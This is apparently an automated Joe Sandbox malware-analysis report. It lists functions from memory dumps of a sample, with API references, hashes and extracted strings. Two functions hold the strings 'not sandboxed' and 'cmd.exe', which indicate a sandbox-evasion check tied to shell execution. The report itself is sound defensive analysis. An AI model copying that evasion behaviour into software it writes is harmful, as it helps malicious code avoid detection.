Function 10012261 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 10012287

Part of subcall function 100120B3: __fltout2.LIBCMT ref: 100120DE

__cftog_l.LIBCMT ref: 100122AD
__cftoe_l.LIBCMT ref: 100122DF

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: d628bd778cdf467a8e3ad5f5b80e9ec9ac3b556a525b6735c1659829dff4249a
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: FA1148B644018ABBCF169F84CC418EE3F62FB19394B558515FE2859131D336D9B2EB81

Function 032B2265 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 032B228B

Part of subcall function 032B20B7: __fltout2.LIBCMT ref: 032B20E2

__cftog_l.LIBCMT ref: 032B22B1
__cftoe_l.LIBCMT ref: 032B22E3

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: c68cfa7b9ab7e8f9b4d3587c83429e5a2ff862c63bbc56d728a167b916426b2f
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: 84114B7606034EFBCF129E84DC058EE3F36BB19391B498915FE5899030D276C5B2AB82

Function 032ABD0C Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 032ABD26

Part of subcall function 032AB4CF: __FF_MSGBANNER.LIBCMT ref: 032AB4E8
Part of subcall function 032AB4CF: __NMSG_WRITE.LIBCMT ref: 032AB4EF
Part of subcall function 032AB4CF: RtlAllocateHeap.NTDLL(00000000,00000001,00000001), ref: 032AB514

std::exception::exception.LIBCMT ref: 032ABD5B
std::exception::exception.LIBCMT ref: 032ABD75
__CxxThrowException@8.LIBCMT ref: 032ABD86

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
String ID:
API String ID: 615853336-0
Opcode ID: 7c2a2ce753ea75b9086bf07cd7115e04596d0922f47d555c69502c2f3612d0f7
Instruction ID: a9311be0ac4ffb79853ac8ad7b68ea25d192304f10e499d5c7a0826a00d90737
Opcode Fuzzy Hash: 7c2a2ce753ea75b9086bf07cd7115e04596d0922f47d555c69502c2f3612d0f7
Instruction Fuzzy Hash: 5EF0FF79420F5AABDB04EB5CCC80AEE7AA9EF00710F640159F815EE090DBB9CAD6C740

Function 00413AF0 Relevance: 6.0, APIs: 4, Instructions: 30COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Ref_count_base::_Incref_nz.LIBCPMTD ref: 00413B02
_Ptr_base.LIBCMTD ref: 00413B19

Part of subcall function 00413B80: std::_Ref_count_base::_Decref.LIBCMTD ref: 00413B96

Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00413B2B
__CxxThrowException@8.LIBVCRUNTIME ref: 00413B39

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: ProcessorRef_count_base::_Virtualstd::_$Concurrency::DecrefException@8Incref_nzPtr_baseRootRoot::Throw
String ID:
API String ID: 1494087738-0
Opcode ID: 8fc0962c31aeab1482b3fe5e162eeb58d1c88d9133ef509f40aaf7b7b6af758f
Instruction ID: 14b6b864fc3b8576bad0d9308415e62c850bfd58424597d3e73af03e742d23b1
Opcode Fuzzy Hash: 8fc0962c31aeab1482b3fe5e162eeb58d1c88d9133ef509f40aaf7b7b6af758f
Instruction Fuzzy Hash: CBF05E71508158ABCB18EF62DC11AFF7365EF00301F90816FB8155A282EA38EA51DBA8

Function 004077D0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

__crt_unique_heap_ptr.LIBCMTD ref: 00407978
SysStringLen.OLEAUT32(00000000), ref: 00407997

Strings

~@, xrefs: 00407937, 0040793F, 00407954, 004079D1, 00407975

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: String__crt_unique_heap_ptr
String ID: ~@
API String ID: 2538957522-592544116
Opcode ID: 4eba7abbaead4cfc3d5182864c82a79291ceed0e48a80a2815e54c6a726c583f
Instruction ID: 9d8e00c763d23df7f32b977d670ff13bb3014ac774b27a0192a54594bf85c137
Opcode Fuzzy Hash: 4eba7abbaead4cfc3d5182864c82a79291ceed0e48a80a2815e54c6a726c583f
Instruction Fuzzy Hash: 4C81F6B5E002099FDB08DF98C995BEEB7B5FF48314F208169E506BB391D734A941CBA4

Function 0040D290 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,?,00000132,00000000), ref: 0040D4D1

Strings

N, xrefs: 0040D2F3

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: MessageSend
String ID: N
API String ID: 3850602802-1130791706
Opcode ID: 787b7959065c0c886e42c24c510568372dfa5f88946e0d432c069fa5917d679b
Instruction ID: acb4030721538d4749828cb687a160a25fa4659994db1dc7e43c26ab47092d95
Opcode Fuzzy Hash: 787b7959065c0c886e42c24c510568372dfa5f88946e0d432c069fa5917d679b
Instruction Fuzzy Hash: 4871E774D0020ADFCB18DFD5C854ABEB7B1BF48304F50856AE512AB381D778AA49CF69

Function 0043A0BC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 180COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0043A0C3

Strings

X,l, xrefs: 0043A1F7
X,l, xrefs: 0043A1BE

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: H_prolog3_catch
String ID: X,l$X,l
API String ID: 3886170330-2435851795
Opcode ID: 18e4ecfa1017235147040288b9b810ff847d5074f53b37df71a7058dfa013011
Instruction ID: 3946ca1c60596333cb035631417cfa0191ef51da872a3f8d826836fb67074452
Opcode Fuzzy Hash: 18e4ecfa1017235147040288b9b810ff847d5074f53b37df71a7058dfa013011
Instruction Fuzzy Hash: 7661BD70A001069FCF18DF99C8909BEBBB1BF4C314F24515EE566A7782C7389D51CB9A

Function 00421770 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 173COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004217D0

Part of subcall function 00423800: Concurrency::details::HardwareAffinity::operator!=.LIBCMTD ref: 00423836

Concurrency::details::HardwareAffinity::operator!=.LIBCMTD ref: 00421956

Strings

s, xrefs: 0042180B

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Affinity::operator!=Concurrency::details::Hardware$___from_strstr_to_strchr
String ID: s
API String ID: 210190237-453955339
Opcode ID: 46949ae5d830d01f8db3db266f0a9881e02adb36c2a691c650bce74478a1af8a
Instruction ID: 1f2633be4ace6a69b996bb6c448a30e42f4129acbcbbddffa310f74f3ec02536
Opcode Fuzzy Hash: 46949ae5d830d01f8db3db266f0a9881e02adb36c2a691c650bce74478a1af8a
Instruction Fuzzy Hash: 79716FB4E0022A8FDB08DF85D8A1ABFB3B1FF94304F50445AD4116B3A5D739AD86CB59

Function 00404FB0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 122COMMON

Download Yara Rule

Strings

not sandboxed, xrefs: 004050A3
cmd.exe, xrefs: 0040508C

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID:
String ID: cmd.exe$not sandboxed
API String ID: 0-844143917
Opcode ID: 95805d0f5b0be3c33fcbc0b4a500b72b162fed27a193749e7df4148cad0aef14
Instruction ID: d2e3a1aa2d27e5c9c14acd0f1b5faa1863de3caa391c7a9ff1a2a409e1cdb59f
Opcode Fuzzy Hash: 95805d0f5b0be3c33fcbc0b4a500b72b162fed27a193749e7df4148cad0aef14
Instruction Fuzzy Hash: 2851F671900608EFCB14DF99D885AEEBBB5FF48314F10822AF815B7290DB78A945CF94

Function 00402E10 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

Concurrency::details::HardwareAffinity::operator!=.LIBCMTD ref: 00402E74

Strings

E*@, xrefs: 00402E3A, 00402E42, 00402E71, 00402E80, 00402E59, 00402E45
E*@, xrefs: 00402ED7, 00402EDA

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Affinity::operator!=Concurrency::details::Hardware
String ID: E*@$E*@
API String ID: 264382594-892141891
Opcode ID: 08a6b05acc075d8b2424dece993d03fa6033558527468fab6d3c6ae8087a3575
Instruction ID: 86fc9d0eb2ee42d426b16c74e0242c53ce330c1fe0c0f9472d5ea48c7cc0ebf6
Opcode Fuzzy Hash: 08a6b05acc075d8b2424dece993d03fa6033558527468fab6d3c6ae8087a3575
Instruction Fuzzy Hash: 24412970A00109AFCB08DF95C895FAEB7B5FF48304F10816EE615BB2D0DBB4AA45CB94

Function 00439A43 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 95COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000208,000000FF,?,0041AEC7), ref: 00439AA4

Part of subcall function 0043A51C: lstrcpynW.KERNEL32(?,?,00000FFF,?,?,00433A19,?,?,0042BBEB), ref: 0043A54B

Part of subcall function 0043402A: __EH_prolog3.LIBCMT ref: 00434031

Part of subcall function 004346C5: __EH_prolog3_catch.LIBCMT ref: 004346CC

Part of subcall function 0043840E: __EH_prolog3_catch.LIBCMT ref: 00438415

Part of subcall function 004335DE: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00433616

Strings

8*l, xrefs: 00439B03
<*l, xrefs: 00439B29

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: H_prolog3_catch$FileH_prolog3Ios_base_dtorModuleNamelstrcpynstd::ios_base::_
String ID: 8*l$<*l
API String ID: 2123001101-3579530641
Opcode ID: a2173fd399febc10c0d5b45da820a70b4acea9d3c4850d9b6301bd7147a990d6
Instruction ID: 8042310940b5fa52740047728d40fdb5049f079b9167ea843c9c3f95fedbdb9a
Opcode Fuzzy Hash: a2173fd399febc10c0d5b45da820a70b4acea9d3c4850d9b6301bd7147a990d6
Instruction Fuzzy Hash: 5B31A8B1E001199BCF14EFA6DC55AEFB7B9EB88304F4001AEB50593641EF386E458F58

Function 00402CA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

PropVariantClear.OLE32(?), ref: 00402D5D

Strings

n, xrefs: 00402CFD
Q, xrefs: 00402CF5

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: ClearPropVariant
String ID: Q$n
API String ID: 4189460101-3386716268
Opcode ID: 47b0f28e756d34e330ba4f3c680ba6b16811650b0910f8d266e09940c8286070
Instruction ID: 1236c4859694768e37cf564296bb07a914c168a19bafcd88bac8bfcae5222e11
Opcode Fuzzy Hash: 47b0f28e756d34e330ba4f3c680ba6b16811650b0910f8d266e09940c8286070
Instruction Fuzzy Hash: 9D319E71D00249EFCB04DFE8D884BDEB7B5AF49304F00829DE925AB390D775AA45CBA5

Function 00404EA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 76COMMON

Download Yara Rule

Strings

not sandboxed, xrefs: 00404F02
cmd.exe, xrefs: 00404EEB

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID:
String ID: cmd.exe$not sandboxed
API String ID: 0-844143917
Opcode ID: a84dc80d88620e2da74d2964459a984cfaf9fa43cbc44e3907bb5267bf89e2f0
Instruction ID: 1fdb6c2bea2ec3c23455db486ccda53ad83860e698908cbe05616fd72d9ac969
Opcode Fuzzy Hash: a84dc80d88620e2da74d2964459a984cfaf9fa43cbc44e3907bb5267bf89e2f0
Instruction Fuzzy Hash: 49312BB2600108ABCB14DF99D881FEEB7B4FB48320F50822EF915A72D0DB74A941CB54

Function 00438BDD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 71COMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 00438BE4

Part of subcall function 00414FB0: __Getcvt.LIBCPMT ref: 00414FBF

Strings

false, xrefs: 00438C4A
true, xrefs: 00438C5F

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: GetcvtH_prolog3_catch_
String ID: false$true
API String ID: 3546636249-2658103896
Opcode ID: e44e4c42abe0120952713cc6df594b3699d60785e6a64da81121e34a6c71e930
Instruction ID: 592f1fbfc96695269254794ba1b8972fe16b1c51c83c0e7cfed877709cf29e23
Opcode Fuzzy Hash: e44e4c42abe0120952713cc6df594b3699d60785e6a64da81121e34a6c71e930
Instruction Fuzzy Hash: 32217FB1D01618ABDB10EFA2C841AADFBB8FF08700F14511FF90497242E7749951CBE9

Function 0043D2AF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0043D2B6
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 0043D2E6

Part of subcall function 0041BD90: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0041BDB9

Strings

VRonlinePlat, xrefs: 0043D337

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Base::Concurrency::details::Container_base12Container_base12::~_ContextH_prolog3IdentityQueueWorkstd::_
String ID: VRonlinePlat
API String ID: 1892321976-1728356445
Opcode ID: 14df9e5cf3dedb5f43b393cd1ff63f94a19e6ee836be8b5c5f019fa187ed2998
Instruction ID: a5ae8109e980b05724d3cbd519d3947143d789485a012374753978a38f407911
Opcode Fuzzy Hash: 14df9e5cf3dedb5f43b393cd1ff63f94a19e6ee836be8b5c5f019fa187ed2998
Instruction Fuzzy Hash: 9F11C170A407047BEA21BF118C87F9E7361EF04B08F40841EFA5E2A1D2CBA96E006689

Function 10010BB8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 10010BE2

Part of subcall function 1000EA09: __getptd_noexit.LIBCMT ref: 1000EA0C
Part of subcall function 1000EA09: __amsg_exit.LIBCMT ref: 1000EA19

__CallSettingFrame@12.LIBCMT ref: 10010C2E

Strings

j, xrefs: 10010BB8

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: CallFrame@12Setting__amsg_exit__getptd__getptd_noexit
String ID: j
API String ID: 4140145597-2137352139
Opcode ID: 4255597884e4c706d015ab5a2cc04f3f2598fbc4e01f63f3b4cdc71a0b6bc24f
Instruction ID: c06a1c58be8673991bec95017757c486347b6274bbde7add83dd351e2b3b0df6
Opcode Fuzzy Hash: 4255597884e4c706d015ab5a2cc04f3f2598fbc4e01f63f3b4cdc71a0b6bc24f
Instruction Fuzzy Hash: E1118E34E09655DBDB11DB54C84539CBB70FB05318F25868EE8A82F183C3B4A995CFC1

Function 032B0BBC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 032B0BE6

Part of subcall function 032AEA0D: __getptd_noexit.LIBCMT ref: 032AEA10
Part of subcall function 032AEA0D: __amsg_exit.LIBCMT ref: 032AEA1D

__CallSettingFrame@12.LIBCMT ref: 032B0C32

Strings

j, xrefs: 032B0BBC

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

